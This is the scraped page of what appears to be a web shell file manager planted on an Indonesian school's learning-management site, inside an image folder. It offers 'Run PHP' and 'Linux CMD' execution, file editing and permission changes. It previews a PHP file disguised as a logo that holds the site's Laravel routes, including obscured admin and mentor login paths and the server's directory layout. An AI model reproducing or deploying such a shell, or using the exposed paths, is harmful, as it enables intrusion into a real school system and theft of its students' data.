๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
๐งช PHP Preview
<?php use App\Http\Controllers\AuthController; use App\Http\Controllers\AwalController; // IMPORT CONTROLLER PESERTA DIDIK use App\Http\Controllers\Role\PesertaDidik\PesertaDidikController; use App\Http\Controllers\Role\PesertaDidik\MateriController; use App\Http\Controllers\Role\PesertaDidik\AktivitasSmarttrenController; use App\Http\Controllers\Role\PesertaDidik\ChatController; use App\Http\Controllers\Role\PesertaDidik\JurnalController; use App\Http\Controllers\Role\PesertaDidik\KelompokController; use App\Http\Controllers\Role\PesertaDidik\PresensiController; use App\Http\Controllers\Role\PesertaDidik\ProfilController; use App\Http\Controllers\Role\PesertaDidik\SertifikatController as SertifikatPeserta; // IMPORT CONTROLLER PEMBIMBING use App\Http\Controllers\Role\Pembimbing\PembimbingController; use App\Http\Controllers\Role\Pembimbing\PresensiPembimbingController; use App\Http\Controllers\Role\Pembimbing\AktivitasPembimbingController; use App\Http\Controllers\Role\Pembimbing\JurnalPembimbingController; use App\Http\Controllers\Role\Pembimbing\ChatPembimbingController; use App\Http\Controllers\Role\Pembimbing\ProfilPembimbingController; use App\Http\Controllers\Role\Pembimbing\RekapPembimbingController; // IMPORT CONTROLLER SUPERADMIN use App\Http\Controllers\Role\Superadmin\SuperadminController as AdminController; use App\Http\Controllers\Role\Superadmin\SertifikatController as SertifikatSuperadmin; // IMPORT LAINNNYA use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Storage; /* |-------------------------------------------------------------------------- | 1. RUTE PUBLIK (Bebas Diakses Siapa Saja) |-------------------------------------------------------------------------- */ // BAGIAN INI DIUBAH: Hapus pembungkus middleware cek.sesi agar tidak loop Route::get('/', [AwalController::class, 'index'])->name('beranda'); Route::get('/menu-tahun/{tahun}', [AwalController::class, 'menuTahun'])->name('menu.tahun'); Route::get('/cek-kelompok/{tahun}', [AwalController::class, 'cekKelompok'])->name('cek.kelompok'); Route::get('/informasi-kegiatan/{tahun}', [AwalController::class, 'informasiKegiatan'])->name('informasi.kegiatan'); /* |-------------------------------------------------------------------------- | RUTE AUTENTIKASI (Hanya untuk yang BELUM Login / Guest) |-------------------------------------------------------------------------- */ Route::middleware(['guest'])->group(function () { // --- LOGIN PESERTA DIDIK --- Route::get('/login', [AuthController::class, 'tampilLogin'])->name('login'); Route::post('/proses-login', [AuthController::class, 'prosesLogin'])->name('proses.login'); // --- LOGIN PEMBIMBING --- Route::get('/tukang-ngatur/pembimbing', [AuthController::class, 'tampilLoginPembimbing'])->name('pembimbing.login'); Route::post('/tukang-ngatur/pembimbing', [AuthController::class, 'prosesLoginPembimbing'])->name('pembimbing.proses.login'); // --- LOGIN SUPERADMIN --- Route::get('/sang-pengatur/masuk', [AuthController::class, 'tampilLoginAdmin'])->name('admin.login'); Route::post('/sang-pengatur/proses-masuk', [AuthController::class, 'prosesLoginAdmin'])->name('admin.proses.login'); }); /* |-------------------------------------------------------------------------- | LOGOUT GLOBAL (Harus di Luar Guest) |-------------------------------------------------------------------------- */ Route::any('/logout', [AuthController::class, 'keluar'])->name('logout'); /* |-------------------------------------------------------------------------- | API PUBLIK |-------------------------------------------------------------------------- */ Route::post('/api/cari-peserta', [AwalController::class, 'cariPesertaApi'])->name('api.cari.peserta'); /* |-------------------------------------------------------------------------- | RUTE CEK SERTIFIKAT (PUBLIK) |-------------------------------------------------------------------------- */ Route::get('/cek-sertifikat/{tahun}', [AwalController::class, 'cekSertifikat'])->name('cek.sertifikat'); Route::post('/api/cek-sertifikat', [AwalController::class, 'prosesCekSertifikat'])->name('api.cek.sertifikat'); Route::get('/layanan/cadangan', [AwalController::class, 'cadanganSertifikat'])->name('cek.gdrive.manual'); Route::post('/api/cek-sertifikat-gdrive', [AwalController::class, 'prosesCekGdrive'])->name('api.cek.gdrive'); // Link unduh file (Pastikan method ini ada di SertifikatPeserta atau pindahkan ke AwalController) Route::get('/download-sertifikat/{file}', [SertifikatPeserta::class, 'unduhSertifikatPublic'])->name('unduh.sertifikat.publik'); /* |-------------------------------------------------------------------------- | AREA PESERTA DIDIK |-------------------------------------------------------------------------- */ Route::middleware(['auth', 'role:peserta_didik'])->prefix('peserta')->name('role.peserta.')->group(function () { // --- UTAMA --- Route::get('/dasbor', [PesertaDidikController::class, 'index'])->name('dasbor'); Route::get('/api/cari', [PesertaDidikController::class, 'cari'])->name('cari'); Route::get('/presensi', [PresensiController::class, 'presensi'])->name('presensi'); // --- SMARTTREN (Pemisahan Input & Laporan) --- Route::get('/aktivitas-smarttren', [AktivitasSmarttrenController::class, 'aktivitasSmarttren'])->name('aktivitas_smarttren'); Route::post('/aktivitas-smarttren/simpan', [AktivitasSmarttrenController::class, 'simpanAktivitasSmarttren'])->name('aktivitas_smarttren.simpan'); Route::get('/laporan-smarttren', [AktivitasSmarttrenController::class, 'laporanSmarttren'])->name('laporan_smarttren'); // --- MATERI Route::get('/panduan-materi', [MateriController::class, 'index'])->name('panduan_materi'); // --- LITERASI & SERTIFIKAT --- Route::get('/jurnal', [JurnalController::class, 'jurnal'])->name('jurnal'); Route::get('/jurnal/isi/{hari_ke}', [JurnalController::class, 'isiJurnal'])->name('jurnal.isi'); Route::post('/jurnal/simpan', [JurnalController::class, 'simpanJurnal'])->name('jurnal.simpan'); Route::get('/sertifikat', [SertifikatPeserta::class, 'sertifikat'])->name('sertifikat'); Route::get('/sertifikat/cetak-otomatis', [SertifikatPeserta::class, 'cetakOtomatis'])->name('sertifikat.cetak_otomatis'); // --- INTERAKSI & SOSIAL --- Route::get('/teman', [KelompokController::class, 'temankelompok'])->name('teman'); Route::get('/chat-grup', [ChatController::class, 'chat'])->name('chat.grup'); Route::get('/chat-pembimbing', [ChatController::class, 'chatPembimbing'])->name('chat.pembimbing'); Route::get('/chat/ambil-grup', [ChatController::class, 'ambilPesanGrup'])->name('chat.ambil.grup'); Route::get('/chat/ambil-privat', [ChatController::class, 'ambilPesanPrivat'])->name('chat.ambil.privat'); Route::post('/chat/kirim-pesan', [ChatController::class, 'kirimPesan'])->name('chat.kirimPesan'); // --- PROFIL & AKUN --- Route::get('/profil', [ProfilController::class, 'profil'])->name('profil'); Route::post('/profil/update', [ProfilController::class, 'updateProfil'])->name('update_profil'); Route::post('/profil/hapus-foto', [ProfilController::class, 'hapusFoto'])->name('hapus_foto'); // --- AKSES ARSIP --- Route::get('storage/arsip_tahun/{path}', function ($path) { $filePath = 'arsip_tahun/' . $path; if (!Storage::disk('public')->exists($filePath)) abort(404); return response()->file(storage_path('app/public/' . $filePath)); })->where('path', '.*')->name('arsip'); }); /* |-------------------------------------------------------------------------- | AREA PEMBIMBING |-------------------------------------------------------------------------- */ Route::middleware(['auth', 'role:pembimbing'])->prefix('pembimbing')->group(function () { // 1. DASBOR Route::get('/dasbor', [PembimbingController::class, 'index'])->name('role.pembimbing.dasbor'); // 2. PRESENSI Route::prefix('presensi')->group(function () { Route::get('/', [PresensiPembimbingController::class, 'presensi'])->name('role.pembimbing.presensi'); Route::get('/input', [PresensiPembimbingController::class, 'halamanInput'])->name('role.pembimbing.presensi.input'); Route::post('/simpan', [PresensiPembimbingController::class, 'simpanPresensi'])->name('role.pembimbing.presensi.simpan'); Route::post('/simpan-satuan', [PresensiPembimbingController::class, 'simpanSatuan'])->name('role.pembimbing.presensi.simpan_satuan'); Route::get('/detail/{id}', [PresensiPembimbingController::class, 'detailPresensi'])->name('role.pembimbing.presensi.detail'); }); // 3. AKTIVITAS Route::prefix('aktivitas')->group(function () { Route::get('/', [AktivitasPembimbingController::class, 'aktivitas'])->name('role.pembimbing.aktivitas'); Route::get('/input/{id}', [AktivitasPembimbingController::class, 'input_didik'])->name('role.pembimbing.aktivitas.input_didik'); Route::post('/update', [AktivitasPembimbingController::class, 'updateAktivitas'])->name('role.pembimbing.aktivitas.update'); Route::post('/simpan-skor/{id_pd}', [AktivitasPembimbingController::class, 'simpanPenilaian'])->name('role.pembimbing.aktivitas.simpan_skor'); }); // 4. JURNAL Route::get('/review-jurnal', [JurnalPembimbingController::class, 'reviewJurnal'])->name('role.pembimbing.jurnal'); Route::post('/review-jurnal/verifikasi', [JurnalPembimbingController::class, 'verifikasiJurnal'])->name('role.pembimbing.jurnal.verifikasi'); // 5. CHAT Route::prefix('chat')->group(function () { Route::get('/', [ChatPembimbingController::class, 'chat'])->name('role.pembimbing.chat'); Route::get('/pribadi/{id_pd?}', [ChatPembimbingController::class, 'chatPribadi'])->name('role.pembimbing.chat.pribadi'); Route::get('/ambil-privat/{id_pd}', [ChatPembimbingController::class, 'ambilPesanPrivat'])->name('role.pembimbing.chat.ambil.privat'); Route::get('/ambil-grup', [ChatPembimbingController::class, 'ambilPesanGrup'])->name('role.pembimbing.chat.ambil.grup'); Route::post('/kirim', [ChatPembimbingController::class, 'kirimPesan'])->name('role.pembimbing.chat.kirim'); Route::put('/hapus/{id}', [ChatPembimbingController::class, 'hapusChat'])->name('role.pembimbing.chat.hapus'); Route::delete('/hapus-semua', [ChatPembimbingController::class, 'hapusSemuaChat'])->name('role.pembimbing.chat.hapus_semua'); }); // 6. REKAP NILAI (LAPORAN) Route::prefix('rekap-nilai')->group(function () { Route::get('/', [RekapPembimbingController::class, 'index'])->name('role.pembimbing.rekap.laporan'); Route::get('/unduh-excel', [RekapPembimbingController::class, 'unduhExcel'])->name('role.pembimbing.rekap.excel'); Route::get('/sertifikat/{id_pd}', [RekapPembimbingController::class, 'lihatSertifikat'])->name('pembimbing.lihat_sertifikat'); }); // 7. HASIL LAINNYA Route::get('/hasil-sertifikat', [SertifikatPeserta::class, 'sertifikat'])->name('role.pembimbing.sertifikat'); Route::get('/rekap-bimbingan', [RekapPembimbingController::class, 'index'])->name('role.pembimbing.rekap_bimbingan'); // 8. PROFIL Route::get('/profil', [ProfilPembimbingController::class, 'profil'])->name('role.pembimbing.profil'); }); /* |-------------------------------------------------------------------------- | AREA SUPERADMIN |-------------------------------------------------------------------------- */ Route::middleware(['auth', 'role:superadmin'])->prefix('sang-pengatur')->name('role.superadmin.')->group(function () { Route::get('/dasbor', [AdminController::class, 'index'])->name('dasbor'); Route::prefix('peserta-didik')->group(function () { Route::get('/', [AdminController::class, 'dataPesertaDidik'])->name('peserta_didik'); Route::get('/tambah', [AdminController::class, 'tambahPesertaDidik'])->name('peserta_didik_tambah'); Route::get('/tambah-manual', [AdminController::class, 'tambahManual'])->name('peserta_didik_tambah_manual'); Route::get('/tambah-excel', [AdminController::class, 'tambahExcel'])->name('peserta_didik_tambah_excel'); Route::get('/tambah-excel/template', [AdminController::class, 'downloadTemplate'])->name('peserta_didik_template'); Route::get('/edit/{id}', [AdminController::class, 'editPesertaDidik'])->name('peserta_didik_edit'); Route::put('/update/{id}', [AdminController::class, 'updatePesertaDidik'])->name('peserta_didik_update'); Route::delete('/hapus/{id}', [AdminController::class, 'hapusPesertaDidik'])->name('peserta_didik_hapus'); Route::post('/simpan', [AdminController::class, 'simpanPesertaDidik'])->name('peserta_didik_simpan'); Route::post('/unggah', [AdminController::class, 'unggahPesertaDidik'])->name('peserta_didik_unggah'); Route::get('/unduh/semua', [AdminController::class, 'unduhRekapSemua'])->name('peserta_didik_unduh_semua'); Route::get('/unduh/custom', [AdminController::class, 'unduhRekapCustom'])->name('peserta_didik_unduh_custom'); }); Route::get('/pembimbing', [AdminController::class, 'dataPembimbing'])->name('pembimbing'); Route::get('/pengguna-sistem', [AdminController::class, 'dataPengguna'])->name('pengguna'); Route::get('/otoritas-admin', [AdminController::class, 'dataAdmin'])->name('admin'); Route::get('/presensi-kehadiran', [AdminController::class, 'dataPresensi'])->name('presensi'); Route::get('/aktivitas-smarttren', [AdminController::class, 'dataAktivitas'])->name('aktivitas'); Route::get('/jurnal-amaliah', [AdminController::class, 'dataJurnal'])->name('jurnal'); Route::get('/jawaban-jurnal', [AdminController::class, 'dataJawabanJurnal'])->name('jawaban_jurnal'); Route::get('/penilaian-rapor', [AdminController::class, 'dataPenilaian'])->name('penilaian'); Route::get('/dokumentasi', [AdminController::class, 'dataDokumentasi'])->name('dokumentasi'); Route::get('/forum-obrolan', [AdminController::class, 'dataForum'])->name('forum'); Route::get('/sertifikat', [SertifikatSuperadmin::class, 'sertifikat'])->name('sertifikat'); Route::post('/sertifikat/unggah/{id}', [SertifikatSuperadmin::class, 'unggahManual'])->name('sertifikat_unggah'); Route::get('/sertifikat/unduh/{id}', [SertifikatSuperadmin::class, 'unduhSertifikat'])->name('sertifikat_unduh'); Route::post('/sertifikat/import', [SertifikatSuperadmin::class, 'prosesImportMassal'])->name('sertifikat_import_proses'); Route::post('/sertifikat/custom', [SertifikatSuperadmin::class, 'unggahCustom'])->name('sertifikat_unggah_custom'); Route::delete('/sertifikat/hapus-terpilih', [SertifikatSuperadmin::class, 'hapusTerpilih'])->name('sertifikat_hapus_terpilih'); Route::delete('/sertifikat/hapus-massal', [SertifikatSuperadmin::class, 'hapusMassal'])->name('sertifikat_hapus_massal'); Route::get('/sertifikat/preview/{id}', [SertifikatSuperadmin::class, 'previewSertifikat'])->name('sertifikat_preview'); Route::get('/sertifikat/pengaturan', [SertifikatSuperadmin::class, 'pengaturanSertifikat'])->name('sertifikat_pengaturan'); Route::post('/sertifikat/pengaturan/simpan', [SertifikatSuperadmin::class, 'simpanPengaturanSertifikat'])->name('sertifikat_pengaturan_simpan'); Route::get('/aturan-smarttren', [AdminController::class, 'aturanSmarttren'])->name('aturan'); Route::get('/skala-penilaian', [AdminController::class, 'skalaPenilaian'])->name('skala'); Route::get('/pengaturan-web', [AdminController::class, 'pengaturanWeb'])->name('pengaturan'); Route::get('/pengunjung-aktif', [AdminController::class, 'pengunjungAktif'])->name('pengunjung'); Route::get('/antrean-proses', [AdminController::class, 'antreanProses'])->name('antrean'); Route::get('/data-inti', [AdminController::class, 'dataInti'])->name('data_inti'); });
Run PHP
๐ฅ Linux CMD
Run CMD